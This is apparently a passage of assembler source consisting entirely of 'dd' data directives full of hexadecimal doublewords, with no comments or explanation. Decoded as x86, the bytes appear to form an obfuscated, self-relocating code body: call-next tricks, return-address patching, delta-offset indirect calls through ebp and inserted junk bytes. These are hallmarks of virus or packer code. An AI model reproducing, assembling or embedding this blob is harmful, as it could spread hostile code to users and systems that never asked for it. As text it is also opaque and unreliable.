244C8959h, 24448104h dd 1A04h, 0C3514100h, 0F6EFF0EEh, 898C5928h, 481379B5h dd 5E96006h, 0D9000000h, 242FB436h, 12D9589h, 58610648h dd 27058D01h, 0B58D0648h, 64AFC8Eh, 1218D8Bh, 8B560648h dd 482FD9BDh, 0E8D0FF06h, 7, 38FFA8DAh, 8169A9BEh, 51F3B5DFh dd 858D5925h, 64AFC8Eh, 0D319589h, 78830648h, 850F0604h dd 2Eh, 0AE8h, 154D5F00h, 0B018ADE5h, 0E9F9A44Eh, 9, 6931BC25h dd 0E66212D1h, 85C75FC3h, 64AFD22h, 1, 11B58D03h, 0BD830648h dd 6480691h, 6D850F00h, 0E9000000h, 9, 5F8B90C0h, 124CD3E3h dd 22BD832Fh, 64AFDh, 52850Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 67473EC3h dd 9BAAD27Bh, 0F9A3F40h, 481h, 0CAB96600h, 0D9BD83CBh dd 6482Bh, 16840Fh, 0BD890000h, 6480E75h, 2EED85C7h, 648h dd 0E9810000h, 390D7F1Ch, 0E9DB8C66h, 0Ah, 0D6160CF0h dd 58DAA226h, 0C3F6CF1Eh, 0A840F04h, 0F000005h, 9529FEB7h dd 6482AF1h, 30E585C7h, 648h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8000C7C3h dd 4AF878BDh, 850F0006h, 6, 2BD58D89h, 85C60648h, 6480FF9h dd 0AE947h, 62EC0000h, 4756C630h, 2C013A8Fh, 0E45B8668h dd 56006AE3h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 40C3C1E1h, 419529D7h, 0FF06482Ch, 480ED5B5h dd 6890F06h, 81000000h, 0A161EE1h, 0BA858D63h, 8B064838h dd 48276D95h, 0BAD0FF06h, 6A986864h, 10468h, 919D0900h dd 8D06480Bh, 48188D9Dh, 53CF8B06h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 2BC35141h, 8E803h, 0C6220000h dd 0CB4C3A30h, 0C6801320h, 0D0FF5F30h, 6E960h, 8CD0000h dd 11E5416Ah, 61F78B66h, 0D88A4FB9h dd 8D858D09h, 0BA064818h, 3214072h, 0CE950h, 0F1A00000h dd 0DBBCC7DFh, 450B3DCAh, 858DDF45h, 64AF82Ah, 6650F08Ah dd 8D45EDBAh, 4AEEFD85h, 0F575006h, 0FF5FFBBFh, 48286195h dd 0CC48306h, 1211B589h, 6A0648h, 8068h, 6A036A00h, 68006A00h dd 80000000h, 0EEFD858Dh, 0FF50064Ah, 481BE995h, 0D858906h dd 0C6064AF8h, 480FF985h, 87684706h, 0FFC7B15Eh, 480ED5B5h dd 0BA858D06h, 0FF064838h, 0FF006AD0h, 4AF80DB5h, 0F8D0FF06h dd 85958Bh, 0D03D0648h, 0F000037h, 2983h, 0C9B58900h, 0FF064811h dd 4AF80DB5h, 0D1BD8B06h, 8B064810h, 4821C18Dh, 7D95FF06h dd 0E9064817h, 118h, 15698589h, 0B5FF0648h, 64AF80Dh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0DFC35040h, 5B8046C3h dd 56E8B419h, 869958Bh, 0FF5F0648h, 48177D95h, 6AD78B06h dd 11958900h, 6A064814h, 0D7816600h, 6A9AF4h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 2BC35646h, 6C82A419h dd 6A3C4667h, 9E900h, 8C970000h, 59D75859h, 6A4DE381h dd 9E900h, 0CEA50000h, 5B010336h, 8940BF68h, 4827E5BDh dd 6A006A06h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 5683C357h, 11858D5Ah, 81064AF8h dd 9C12FCD1h, 95FF5027h, 6481BE9h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 87C35545h, 10A2B48Bh, 0F1F6B64Ah dd 13E9D5h, 0AAF30000h, 0C4C7F7F2h, 971EF0B7h, 33DE1126h dd 0EAB8A9DFh, 0FFF88320h, 13B850Fh, 0B5890000h, 6481269h dd 0B39D858Dh, 0B501064Ah, 648101Dh, 0E6B2D0FFh, 0BD8B006Ah dd 6480801h, 6A006Ah, 68B0Fh, 958B0000h, 64831B1h, 718D8Bh dd 6A0648h, 8531006Ah, 6482E79h, 6A25C580h, 0CCBA6600h dd 11858DCAh, 0F064AF8h, 81h, 0E9805000h, 0E995FFE9h, 6A06481Bh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 4A87C356h, 6AB96613h, 0FFF88349h, 0B3850Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 82B9C3C3h, 0D11A7B6Fh, 0F219B58Dh, 6A064Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 344D4CC3h, 278B586Dh, 8D8985D6h, 6481CADh, 9DC7858Dh dd 0BD89064Ah, 64832ADh, 8B66D0FFh, 6A006AFBh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 76F7C352h, 958B3C72h, 6480F61h, 1AD995FFh, 6A0648h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 65DC54C3h, 0BF0FCADDh, 0D8589F8h, 6A064AF8h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 0A45FC352h, 7484DFB8h, 6AC4B5BDh, 8DFAB500h, 4AF80585h dd 0EE906h, 0A3D50000h, 48402EA8h, 0E777B9BEh, 8BEAA558h dd 0DD858950h, 6A064830h, 8DD18B04h, 48182D85h, 2D850106h dd 5006481Ch, 12E9h, 568A8B00h, 0C9474053h, 2F4A9B64h dd 2D885D1Ah, 0FC403CBh, 684h, 918D8900h, 6A064829h, 0B4C78100h dd 6A191740h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 53A66BA5h, 16AF510h, 0FFD7B70Fh dd 4AF80DB5h, 95FFF906h, 64805EDh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 0E2C35040h, 0F820F36h, 582h dd 0EA816600h, 0EE909EDh, 6600001Eh, 8BC7ADBAh, 481F09BDh dd 1C08B06h, 482F6595h, 0CE806h, 52090000h, 135F7BD2h dd 55A28302h, 0B5893B8Dh, 6481625h, 99BD835Fh, 64812h dd 0BD830975h, 6480D35h, 50197400h, 0B8C08B53h, 7D2h, 29B98589h dd 9D8D0648h, 64AA464h, 585BD3FFh, 0D35BD83h, 74000648h dd 0B8535017h, 7D2h, 29B98589h, 9D8D0648h, 64AA153h, 585BD3FFh dd 0A030BA66h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 3FC35646h, 0A6A830Ah, 6AC08Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 80530CC3h dd 85C7DBE6h, 64830E5h, 1, 0CA8166F8h, 0B868CB99h, 0FFCEE4E7h dd 4827C5B5h, 0BA858D06h, 0FF064838h, 798589D0h, 68064800h dd 0C005DBD4h, 27C5B5FFh, 858D0648h, 64838BAh, 8589D0FFh dd 6481621h, 0ECB6858Dh, 0FF50064Ah, 480ED5B5h, 1D95FF06h dd 0B064809h, 8B0B74C0h, 69858DD8h, 50064AFCh, 858DD3FFh dd 64AFC69h, 9388366h, 85C70A75h, 64808BDh, 1, 23F595FFh dd 0FF250648h, 83000000h, 0A7305F8h, 9DD85C7h, 10648h dd 0E8F50000h, 0Bh, 99945C1Fh, 0D499129h, 0E98E97B6h, 7 dd 0D9A1C3F0h, 5F08F255h, 0D99BD8Bh, 0BD800648h, 64AF878h dd 0D850F00h, 8B000000h, 1C87E9CBh, 0BD2B0000h, 6482F45h dd 8BDBD83h, 0F000648h, 11385h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 862EF6FDh dd 9E05D2ACh, 42858DA0h, 6A064AF8h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0FCFFC355h dd 0A95BF03Ah, 6E9CCh, 0FCF20000h, 2026B4BFh, 8B5011B2h dd 4805E995h, 6A016A06h, 0F98D8900h, 8B064802h, 4823BD95h dd 0BF006A06h, 2DCB86A2h, 12E995FFh, 8D8B0648h, 6481AD5h dd 0F86C8589h, 6A064Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 9637C1C3h, 3DAB63EDh, 0D0B70F62h dd 6739F181h, 0FF6A1EF8h, 0B5FF17B5h, 64AF86Ch, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 2FC35646h, 0AF4E5D58h dd 16577D4Fh, 10D995FFh, 6A0648h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 0E4EFAC3h, 217E9903h dd 0BD01857Ch, 6481335h, 0EC7D858Dh, 6A064Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 14428DC3h dd 0E4ED9185h, 0BD29F8E9h, 64827F1h, 958B50F9h, 64816C9h dd 19ED95FFh, 85890648h, 64AED07h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 5CC35646h, 1BE3A7E7h, 0F9BF0F57h dd 8A858D5Ah, 6A064AECh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 17A2C352h, 14E8h, 0AFF11000h dd 8B22A6C8h, 66013441h, 0DF7C53B2h, 24F2F978h, 958B6032h dd 6482361h, 59615857h, 0C45B589h, 0F500648h, 68Ah, 0B7C78100h dd 0FF1F905Dh, 4AED07B5h, 0CF816606h, 95FF4A2Ch, 648091Dh dd 10E9h, 0ACA56200h, 0CDD457FBh, 20EB115Dh, 5FCCA4F3h dd 3185893Ah, 8B064807h, 0F8858DFAh, 66064AECh, 0BD8BD08Bh dd 6480D59h, 56006A50h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 1A7075E3h, 48C762B9h, 7B5FF59h, 0FF064AEDh dd 48091D95h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 0ED8D9FA6h, 0C55174C8h dd 8D89E7D5h, 6481155h, 0ED1B8589h, 0F580064Ah, 0D7858DDAh dd 0E9064AECh, 0Ch, 3BBEBA6Ch, 60D564D3h, 0AB19A824h, 50CB8B66h dd 22F98D31h, 8E0F0648h, 6, 0BF4DDF81h, 0B5FF31DBh, 64AED07h dd 33598D89h, 85890648h, 6480229h, 91D95FFh, 95290648h dd 6481A5Dh, 0ED138589h, 0BD29064Ah, 6481779h, 28E9BD89h dd 858D0648h, 64AECCAh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 3EC35141h, 8A30B205h, 258589D4h, 50064813h dd 7B5FFF9h, 0F064AEDh, 95FFFFB7h, 648091Dh, 28998D8Bh dd 0BD0B0648h, 648203Dh, 0ED178589h, 0BD8B064Ah, 6480121h dd 0ECE5858Dh, 4FBA064Ah, 890DCA6Bh, 48273D95h, 0BA665006h dd 0B5FFC8B6h, 64AED07h, 7E8h, 61E4E500h, 0E4FA6AD3h, 71DF8166h dd 95FF5900h, 648091Dh, 0E43986B9h, 85858945h, 56064812h dd 78E28166h, 858D5A82h, 64AEC99h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 63C35747h, 29C9BD8Bh, 0F500648h dd 82h, 7B5FF00h, 0FF064AEDh, 48091D95h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 8938D97Ah, 4AED0B85h, 0D78B6606h, 0ECA8858Dh, 50FC064Ah dd 13499D89h, 0B5FF0648h, 64AED07h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 2C35040h, 48F4D072h, 2705BD8Bh dd 0BD8B0648h, 6480E31h, 91D95FFh, 0E9510648h, 5, 0A97FF60Ch dd 830F5918h, 3, 89FFBF0Fh, 4AED0F85h, 0FFD28006h, 10468h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 95A09BCAh, 8608892Bh, 858D0756h, 64AED9Fh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 2EC35040h dd 0AEE13742h, 5245466Eh, 9E8h, 0D4087700h, 0CBAD56BCh dd 6E9B583h, 0A5000000h, 4ADD949h, 29505990h, 482C3995h dd 0A3858D06h, 0F064AEEh, 0BE9FEBFh, 0D4000000h, 1BFED542h dd 25400106h, 8950B710h, 4816D995h, 0D98D2906h, 0FF06482Fh dd 4832A595h, 0C085F506h, 0A850Fh, 57520000h, 0D59BD8Bh dd 5A5A0648h, 0F878BD80h, 0F00064Ah, 1A85h, 0D2BF0F00h dd 1774E9h, 0DE900h, 0D040000h, 0D3AE2CC3h, 0EF497369h dd 836A41E9h, 4808BDBDh, 850F0006h, 16h, 282DBD2Bh, 0BD830648h dd 64AFD22h, 23840F00h, 0F000000h, 858DD6BFh, 64AED3Ch dd 2840F57h, 0B2000000h, 2AE95F81h, 31000017h, 480F819Dh dd 8E906h, 858D0000h, 64AED27h, 8B50D08Bh, 9F858DD3h, 6A064AEDh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 65BC353h, 41016941h, 8D8B08D2h, 6482EC5h dd 57006A50h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 94B09ED5h, 58F0F8Dh, 0B9000000h, 5FB95205h dd 0BE9h, 0ACF01500h, 1AF25F14h, 0DCB239C2h, 8BDBD83h dd 0F000648h, 4C84h, 0F8D38B00h, 0EEC5858Dh, 6A064Ah, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 0A124B7C3h, 50E9EBF4h, 0E8000000h, 11h, 722EEAC6h, 0CBE05984h dd 0A1B185F4h, 84E23BFFh, 0BAFCBF49h, 0B6592FABh, 0AE858D24h dd 6A064AEEh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 56D0C357h, 30E3259h, 481441BDh dd 5DE18106h, 504CCA6Dh, 0B617DA81h, 858D029Ch, 64AEEFDh dd 50E18166h, 0BA6650DDh, 95FFC61Eh, 6482861h, 83D0B70Fh dd 7E910C4h, 0BC000000h, 4682C654h, 0C08BEFE1h, 0AE9h dd 0BBF57D00h, 0FA9C6CD1h, 83839E26h, 481299BDh, 9750006h dd 0D35BD83h, 74000648h, 8B535019h, 7D3B8C0h, 85890000h dd 64829B9h, 0A4649D8Dh, 0D3FF064Ah, 0BD83585Bh, 6480D35h dd 50177400h, 7D3B853h, 85890000h, 64829B9h, 0A1539D8Dh dd 0D3FF064Ah, 0BF0F585Bh, 3800FFEh, 80000000h, 8E8CEDAh dd 0A3000000h, 0A30C0B7Eh, 892F6391h, 4812D585h, 0C08B5906h dd 0E019533h, 0BD810648h, 64AED27h, 6165726Fh, 0CE840Fh dd 0BD8B0000h, 64808EDh, 0ED9F858Dh, 8D50064Ah, 4AEEDC85h dd 858D5006h, 64AEEFDh, 6195FF50h, 83064828h, 85C60CC4h dd 6480FF9h, 184F6844h, 0B5FF96A3h, 6480ED5h, 38BA858Dh dd 0D0FF0648h, 858DD88Bh, 64AEEFDh, 8DD3FF50h, 4AED2785h dd 858D5006h, 64AED9Fh, 0BDBD8350h, 64808h, 858D0874h dd 64AEEC5h, 858D06EBh, 64AEEAEh, 0FD858D50h, 50064AEEh dd 286195FFh, 0C4830648h, 53006A10h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0CBEA6513h dd 0FF8BCF6h, 1382h, 0EE900h, 31010000h, 1EF13134h, 0C4E928A6h dd 0A8097DE1h, 1DB58B60h, 8B064802h, 481EE595h, 0BD8B6106h dd 6481FA1h, 23F595FFh, 0C88B0648h, 0FF25h, 5800F00h, 66000000h dd 0F9A1EF81h, 0F05F883h, 7783h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0CDDCBC3Ah dd 0C28BF5h, 39BD8BB4h, 3064800h, 4828A58Dh, 0DD85C706h dd 1064809h, 89000000h, 4830A58Dh, 5B858D06h, 81064AEDh dd 930350F7h, 0EE84Ah, 74360000h, 0E44F20B7h, 0BBF14443h dd 1D23061Dh, 1298D8Bh, 0E9590648h, 67h, 7E9h, 0BDEEE900h dd 3B22F619h, 8BDBD83h, 0F000648h, 1F84h, 259D2900h, 8D064807h dd 4AED8685h, 37BF6606h, 88D2819Dh, 0E92B04EAh, 33h, 8630BF66h dd 0ED68858Dh, 6A064Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 5EFB15C3h, 1F9DF327h, 6195892Dh dd 8906482Fh, 4AED9B85h, 0B9BD8B06h, 8B06481Fh, 480E5195h dd 0BDBD8306h, 64808h, 15850Fh, 0F2810000h, 0BA87938h dd 0BD83D48Ah, 64AFD22h, 0A840F00h, 0E9000000h, 1361h dd 88D18166h, 55CE93Ch, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 0F120F9C3h, 7B3A095Fh dd 197849B9h, 6AC08B3Fh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 0E633C350h, 0B44DCC72h dd 3841EBBAh, 99BD836Ch, 64812h, 0BD830975h, 6480D35h dd 50197400h, 0B8C08B53h, 7D4h, 29B98589h, 9D8D0648h, 64AA464h dd 585BD3FFh, 0D35BD83h, 74000648h, 0B8535017h, 7D4h, 29B98589h dd 9D8D0648h, 64AA153h, 585BD3FFh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 92C35747h, 8514428Dh, 0E9E4ED91h dd 0E4B966F8h, 0C810F13h, 0F000000h, 687h, 20CA8100h, 8B0502C6h dd 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 0A21847Ah, 0BFD9175h, 81662E85h, 683BDFEFh dd 0F003Fh, 3365958Bh, 0D0B10648h, 8529006Ah, 6482011h dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 1BE467C3h, 95FF2084h, 6480731h, 2A818589h dd 0C0850648h, 6850Fh dd 95890000h, 64812C9h, 0ED1F8589h, 78B1064Ah, 8052006Ah dd 0FC5F68EAh, 8166006Ah, 6A8BEDC2h, 0D2B70F00h, 6A006Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 547BCC3h, 0BAF48AF1h, 0F2BF6676h, 6A006AA8h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 0B1C9C350h, 29BD29BDh, 81064803h, 7E6255D9h, 29B5894Bh dd 8D06481Ah, 4AEEFD85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 0B20230FEh, 50CA3677h dd 6E8h, 0DF0AD300h, 60BC1FA6h, 8E9h, 0F8176700h, 0E3B63133h dd 0AEB86618h, 6A5F61A1h, 57006A01h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 61B5894Ah dd 8B06480Dh, 481B6195h, 1016A06h, 4808098Dh, 6A016A06h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 0FCD0C355h, 0FA2CAF95h, 0E8D68356h, 13h dd 6F6E89A9h, 4E084197h, 6130F36Ch, 68366567h, 66DD99F0h dd 52DDE181h, 1FF685Ah, 9529000Fh, 6483101h, 8BDBD83h dd 0F000648h, 4F84h, 0B5958B00h, 8D064810h, 4AED7C85h dd 4AE906h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 8543B3C3h, 0F9F58BD6h, 10E8h, 0EF4A5B00h dd 5CED99A0h, 84D35BC2h, 0B4D13398h, 49958BA0h, 5F064808h dd 0ED52858Dh, 8D8B064Ah, 64832D5h, 51006A50h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 2B2D68C9h dd 0E950FE8Bh, 0Ah, 79F363F5h, 0D2514B3Ah, 0B5FFCDB8h dd 64AED1Fh, 17C5B529h, 95FF0648h, 64AED0Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 75C35141h, 952BAFFFh dd 6481289h, 850FC085h, 2Ah, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 82C35343h, 821BD8Bh, 5CE90648h dd 0F000000h, 8589C8BFh, 64AED23h, 0C9BF0FF8h, 0ED23B5FFh dd 0C180064Ah, 8595FF79h, 8A064812h, 0FC085D5h, 3685h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 990A3D43h, 12E9h, 8AF0A300h, 65CCAA8Dh dd 0CBC9E4CDh, 90E1C10Fh, 6AB64522h, 8B665010h, 0BD835ACBh dd 64808BDh, 5B840F00h, 0E9000000h, 12h, 0A117167Fh, 0C7296725h dd 0A0187D96h, 8EF69DE8h, 858D8829h, 64AED7Ch, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 80C35040h, 65EA7746h dd 9D958B1Bh, 5706481Ch, 1B818D8Bh, 665F0648h, 0E57BD981h dd 11E9h, 0F2816600h, 858DF3B1h, 64AED52h, 0AC3DA81h, 81507C66h dd 458A20F1h, 1FB5FF3Dh, 0F064AEDh, 685h, 61BD8B00h, 0FF064829h dd 4AED1795h, 0FD8D8B06h, 8506480Dh, 6850FC0h, 89000000h dd 48284195h, 23858906h, 3064AEDh, 4803DD95h, 0F9006A06h dd 3870Fh, 8B660000h, 81006ACAh, 3FD2C2CAh, 23B5FF5Dh dd 89064AEDh, 482941B5h, 0F95FF06h, 81064AEDh, 3322C4EAh dd 0FC08575h, 5D85h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 0B2E211C2h, 0FF1B9D17h dd 0DE8F5h, 0A3900000h, 0EA5501F5h, 0B50EE8DBh, 8B248726h dd 483029BDh, 14E85A06h, 13000000h, 451F85A2h, 0BDD9F921h dd 7DAA246Ah, 0DFD97B44h, 33B1E9FFh, 48145D95h, 0B5FF5A06h dd 64AED23h, 0CAC18166h, 8595FF08h, 66064812h, 855544B9h dd 7850FC0h, 51000000h, 7E18166h, 6A5997h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0EFC35040h, 813D4D77h dd 0AC62F1D9h, 75BD8B7Ah, 6006481Bh, 6660F98Bh, 0BD29D78Bh dd 6482FFDh, 80686161h, 66000000h, 36AF88Bh, 6C9B589h dd 6A0648h, 0EE8h, 51AE5A00h, 70C773BFh, 0B7B0775Ch, 892D798Ch dd 4803BD9Dh, 6A5A06h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 0D1C35545h, 0EC9CFE1Ch, 11BD098Bh, 68064808h dd 0C0000000h, 329B589h, 0B5FF0648h, 64AED9Bh, 68E0Fh dd 958B0000h, 6480971h, 1BE995FFh, 0D08B0648h, 0FFFF883h dd 5EA85h, 0FF24B100h, 4AF80985h, 1D1FBA06h, 0BD3316DBh dd 6480765h, 0F809BD83h, 0F02064Ah, 47B84h, 4D9D0100h dd 8D06481Bh, 5AF59F85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 0F2CF00E3h, 19B5892Ah dd 8B064800h, 480909BDh, 8AD0FF06h, 0F2858DE8h, 80005AEFh dd 0D0FFB2C5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 28C35242h, 99A25F84h, 0B3E6D27Fh, 0D68B66B5h, 0FE8C08Bh dd 5D000000h, 9D7C59F8h, 0BD305FA2h, 869FD9BBh, 8B669FC3h dd 12E95FCAh, 0AF000000h, 0DDF248A4h, 7AB50A61h, 0DD303F76h dd 57AEC827h, 99BD8311h, 64812h, 0BD830975h, 6480D35h dd 50197400h, 0B8C08B53h, 7D8h, 29B98589h, 9D8D0648h, 64AA464h dd 585BD3FFh, 0D35BD83h, 74000648h, 0B8535017h, 7D8h, 29B98589h dd 9D8D0648h, 64AA153h, 585BD3FFh, 8E9h, 0A544E700h, 310D321Eh dd 458D8BC8h, 0E906481Bh, 0Fh, 29F53BC8h, 48E95485h, 11463201h dd 8B483FFEh, 0BDBD33C0h, 68064817h, 0F003Fh, 0D719589h dd 6A0648h, 33006AFCh, 481A218Dh, 3195FF06h, 9064807h dd 48312DB5h, 0FC08506h, 580h, 0F0B2BA00h, 85893BDCh, 64AED1Fh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 1EC35747h dd 0BF434D75h, 70D53475h, 89CBBF0Fh, 482B85B5h, 1FF6806h dd 0B70F000Fh, 0BDBD83F8h, 64808h, 47840Fh, 24B90000h dd 8D19BDCDh, 4AED7C85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 35F3DFFDh, 7E9h, 27579400h dd 953C0222h, 1A818D8Bh, 12E90648h, 89000000h, 48301D8Dh dd 52858D06h, 89064AEDh, 480AC5B5h, 2B605006h, 4817158Dh dd 0D9B70F06h, 1FB5FF61h, 8B064AEDh, 4826FDBDh, 1795FF06h dd 81064AEDh, 25EECBE2h, 2385896Ah, 6A064AEDh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 7760C356h, 1DE5354h, 480A5985h, 0C7C88B06h, 48336D85h dd 6, 0D19D8900h, 83064828h, 4AED23BDh, 840F0006h, 21Dh dd 68F0Fh, 9D890000h, 6481B11h, 0F001858Dh, 6A064Ah, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 897F2EC3h, 481595B5h, 958B5006h, 648089Dh, 8166016Ah dd 0FF3E8BF2h, 4AED23B5h, 69850106h, 0FF06480Dh, 4AED1B95h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 0CED2D7ABh, 2218D2Bh, 89600648h, 4829CD95h dd 0F8BF0F06h, 31BD8B61h, 0FF06480Bh, 4AED23B5h, 0DD8D8B06h dd 0FF064802h, 48128595h, 0D98D8906h, 6806480Ch, 0F01FFh dd 13E950h, 0E41F0000h, 56392E53h, 53E2F800h, 0CFD25E2Ch dd 5C1E6734h, 0BD835965h, 64808BDh, 5A840F00h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 2B67C356h, 48177995h, 7C858D06h, 6A064AEDh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 0FD6C352h, 589h, 0EC9CBF00h, 30E9798Fh, 9000000h dd 4813B18Dh, 52858D06h, 6A064AEDh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 8C06C350h dd 1C09A99Eh, 50E6A0B6h, 1181BD8Bh, 8B600648h, 4815A19Dh dd 8DB52906h, 6106482Eh, 0ED1FB5FFh, 0FFFC064Ah, 4AED1795h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 29FCE46Ah, 0E9605BDEh, 6, 46DC1F06h, 0B58976ABh dd 648280Dh, 0B2B96661h, 238589E5h, 66064AEDh, 0FF86F7B9h dd 4AED23B5h, 1FD28106h, 892D7C74h, 480E69BDh, 1395FF06h dd 6A064AEDh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 2AD2C357h, 0ABFEE5CCh, 17418D8Bh dd 8D8B0648h, 6480695h, 0ED23B5FFh, 0BD89064Ah, 6480579h dd 0FF83DD80h, 48128595h, 698D8B06h, 29064829h, 4831B1BDh dd 0F577E906h, 8D89FFFFh, 6482A11h, 0F86CB5FFh, 0B589064Ah dd 6481035h, 0E7195FFh, 6A0648h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 163741C3h, 31677D9Fh dd 8D8B6BA2h, 6481B75h, 858BC88Bh, 6482945h, 4118D8Bh dd 5EE90648h, 0E9000006h, 7, 0F70DF09Ch, 8DD4C028h, 4AF021B5h dd 12E906h, 0AC510000h, 0FB749A87h, 1C50935Fh, 9477204Fh dd 4C7DE24Ah, 9DC7858Dh, 800F064Ah, 6, 497EDF81h, 0D0FF766Bh dd 9D896060h, 64815F9h, 1A58D8Bh, 29610648h, 4807F5BDh dd 6A6106h, 2F318589h, 95FF0648h, 6481AD9h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 26C35141h, 0BF666928h dd 0BD89636Dh, 648199Dh, 8A0FF38Bh, 0 dd 9DC7858Dh, 6A064Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 178F5AC3h, 1851BD89h, 0D0FF0648h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 88C35040h dd 6ACF8Bh, 1D958B53h, 5A064816h, 1AD995FFh, 10E90648h dd 0B9000000h, 7943471Ah, 1737186Ah, 4639BEC8h, 8B1F562Eh dd 98D03C0h, 83064808h, 481299BDh, 9750006h, 0D35BD83h dd 74000648h, 8B535019h, 7D9B8C0h, 85890000h, 64829B9h dd 0A4649D8Dh, 0D3FF064Ah, 0BD83585Bh, 6480D35h, 50177400h 